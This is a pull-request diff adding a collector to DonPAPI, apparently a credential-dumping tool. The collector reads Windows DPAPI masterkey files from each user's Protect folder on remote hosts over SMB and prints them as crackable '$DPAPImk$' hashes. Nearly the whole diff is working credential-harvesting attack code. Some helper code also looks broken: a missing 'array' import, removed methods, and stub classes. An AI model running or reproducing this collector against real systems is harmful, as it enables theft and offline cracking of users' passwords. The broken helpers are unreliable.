Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
240 changes: 240 additions & 0 deletions donpapi/collectors/userhash.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,240 @@
import ntpath
from typing import Any

from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from donpapi.core import DonPAPICore
from donpapi.lib.logger import DonPAPIAdapter
import struct
import binascii

class Eater:
def __init__(self, raw, offset=0, end=None, endianness="<"):
self.raw = raw
self.ofs = offset
self.end = len(raw) if end is None else end
self.endianness = endianness

def prepare_fmt(self, fmt):
if fmt[0] not in ("<", ">", "!", "@"):
fmt = self.endianness + fmt
return fmt, struct.calcsize(fmt)

def read(self, fmt):
fmt, sz = self.prepare_fmt(fmt)
v = struct.unpack_from(fmt, self.raw, self.ofs)
return v[0] if len(v) == 1 else v

def eat(self, fmt):
fmt, sz = self.prepare_fmt(fmt)
v = struct.unpack_from(fmt, self.raw, self.ofs)
self.ofs += sz
return v[0] if len(v) == 1 else v

def eat_string(self, length):
return self.eat(f"{length}s")

def remain(self):
return self.raw[self.ofs:self.end]

def eat_sub(self, length):
sub = Eater(self.raw[self.ofs:self.ofs+length], endianness=self.endianness)
self.ofs += length
return sub

class DPAPIBlob:
def __init__(self, raw=None):
# Initialization code
pass

@staticmethod
def hexstr(bytestr):
return binascii.hexlify(bytestr).decode('ascii')

class CryptoAlgo:
class Algo:
def __init__(self, data):
self.__dict__.update(data)

_crypto_data = {}

@classmethod
def add_algo(cls, algnum, **kargs):
cls._crypto_data[algnum] = cls.Algo(kargs)
if 'name' in kargs:
kargs['ID'] = algnum
cls._crypto_data[kargs['name']] = cls.Algo(kargs)

@classmethod
def get_algo(cls, algnum):
return cls._crypto_data.get(algnum)

def __init__(self, algnum):
self.algnum = algnum
self.algo = CryptoAlgo.get_algo(algnum)
if not self.algo:
raise ValueError(f"Algorithm number {algnum} not found in crypto data")

name = property(lambda self: self.algo.name)
keyLength = property(lambda self: self.algo.keyLength // 8)
ivLength = property(lambda self: self.algo.IVLength // 8)
blockSize = property(lambda self: self.algo.blockLength // 8)
digestLength = property(lambda self: self.algo.digestLength // 8)

def __repr__(self):
return f"{self.algo.name} [{self.algnum:#x}]"

def des_set_odd_parity(key):
_lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19,
19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37,
37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55,
55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73,
73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91,
91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107,
107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121,
121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134,
134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148,
148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162,
162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176,
176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191,
191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205,
205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218,
218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233,
233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247,
247, 248, 248, 251, 251, 253, 253, 254, 254]
tmp = array.array("B")
tmp.fromstring(key)
for i, v in enumerate(tmp):
tmp[i] = _lut[v]
return tmp.tostring()

CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity)
CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity)
CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, IVLength=128, blockLength=128)
CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, IVLength=128, blockLength=128)
CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, IVLength=128, blockLength=128)
CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, IVLength=128, blockLength=128)
CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512)
CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512)
CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512)
CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512)
CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024)
CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024)


def display_masterkey(Preferred):
GUID1 = Preferred.read(8)
GUID2 = Preferred.read(8)
GUID = struct.unpack("<LHH", GUID1)
GUID2 = struct.unpack(">HLH", GUID2)
return(f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}")

class MasterKey:
def __init__(self, raw=None, SID=None, context=None):
self.decrypted = self.key = self.key_hash = None
self.hmacSalt = self.hmac = self.hmacComputed = None
self.cipherAlgo = self.hashAlgo = self.rounds = None
self.iv = self.version = self.ciphertext = None
self.SID = SID
self.context = context
self.parse(raw)

def parse(self, data):
eater = Eater(data)
self.version = eater.eat("L")
self.iv = eater.eat("16s")
self.rounds = eater.eat("L")
self.hashAlgo = CryptoAlgo(eater.eat("L"))
self.cipherAlgo = CryptoAlgo(eater.eat("L"))
self.ciphertext = eater.remain()

def jhash(self, user):
version, hmac_algo, cipher_algo = -1, None, None
if "des3" in str(self.cipherAlgo).lower() and "hmac" in str(self.hashAlgo).lower():
version, hmac_algo, cipher_algo = 1, "sha1", "des3"
elif "aes-256" in str(self.cipherAlgo).lower() and "sha512" in str(self.hashAlgo).lower():
version, hmac_algo, cipher_algo = 2, "sha512", "aes256"
else:
return f"Unsupported combination of cipher '{self.cipherAlgo}' and hash algorithm '{self.hashAlgo}' found!"
context = 0
if self.context == "domain":
context = 2
s = (f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}"
f"*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}")
context = 3
s += (f"\n{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}"
f"*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}")
else:
context = {"local": 1, "domain1607-": 2, "domain1607+": 3}.get(self.context, 0)
s = (f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}"
f"*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}")
return s

class MasterKeyFile:
def __init__(self, raw=None, SID=None, context=None):
self.masterkey = self.backupkey = self.credhist = self.domainkey = None
self.decrypted = False
self.version = self.guid = self.policy = None
self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0
self.SID = SID
self.context = context
self.parse(raw)

def parse(self, data):
eater = Eater(data)
self.version = eater.eat("L")
eater.eat("2L")
self.guid = eater.eat("72s").decode("UTF-16LE").encode("utf-8")
eater.eat("2L")
self.policy = eater.eat("L")
self.masterkeyLen = eater.eat("Q")
self.backupkeyLen = eater.eat("Q")
self.credhistLen = eater.eat("Q")
self.domainkeyLen = eater.eat("Q")
if self.masterkeyLen > 0:
self.masterkey = MasterKey(eater.eat_sub(self.masterkeyLen).remain(), SID=self.SID, context=self.context)
if self.backupkeyLen > 0:
self.backupkey = MasterKey(eater.eat_sub(self.backupkeyLen).remain(), SID=self.SID, context=self.context)

TAG = "Hashes"

# todo: manage this directly in dploot.triage.masterkeys ?
class HashDump:
user_directories = "\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Protect"

def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list, options: Any, logger: DonPAPIAdapter, context: DonPAPICore) -> None:
self.target = target
self.conn = conn
self.masterkeys = masterkeys
self.options = options
self.logger = logger
self.context = context

def run(self):
self.logger.display("Gathering Hashes")
for user in self.context.users:
directory_path = self.user_directories.format(username=user)
directorylist = self.conn.remote_list_dir(self.context.share, directory_path)
try:
for item in directorylist:
if item.get_longname().startswith("S-"):
sid = item.get_longname()
self.logger.debug(f"Found user SID: {sid}")
mkfolder = ntpath.join(directory_path, item.get_longname())
mkfoldercontent = self.conn.remote_list_dir(self.context.share, mkfolder)
for mk in mkfoldercontent:
if mk.get_longname() == "Preferred":
preferredfile = ntpath.join(directory_path, mkfolder, mk.get_longname())
Preferredcontent = self.conn.readFile(self.context.share, preferredfile)
GUID1, GUID2 = Preferredcontent[:8], Preferredcontent[8:16]
GUID = struct.unpack("<LHH", GUID1)
GUID2 = struct.unpack(">HLH", GUID2)
masterkey = f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}"
masterkeypath = ntpath.join(directory_path, mkfolder, masterkey)
masterkeycontent = self.conn.readFile(self.context.share, masterkeypath)
masterkeyfile_obj = MasterKeyFile(masterkeycontent, SID=sid, context="domain")
if masterkeyfile_obj.masterkey:
masterkey_hash = masterkeyfile_obj.masterkey.jhash(user)
print(f"{masterkey_hash}")
except:
continue
2 changes: 2 additions & 0 deletions donpapi/entry.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,7 @@
from donpapi.collectors.sccm import SCCMDump, TAG as SCCMTag
from donpapi.collectors.mremoteng import MRemoteNgDump, TAG as MRemoteNgTag
from donpapi.collectors.vnc import VNCDump, TAG as VNCTag
from donpapi.collectors.userhash import HashDump, TAG as HashesTag
from donpapi.lib.config import DonPAPIConfig, parse_config_file
from donpapi.lib.database import Database, create_db_engine
from donpapi.lib.paths import DPP_DB_FILE, DPP_LOG_FILE, DPP_PATH
Expand All @@ -62,6 +63,7 @@
VaultsTag: VaultsDump,
VNCTag: VNCDump,
WifiTag: WifiDump,
HashesTag: HashDump,
}

def set_main_logger(logger , host = "\U0001F480"):
Expand Down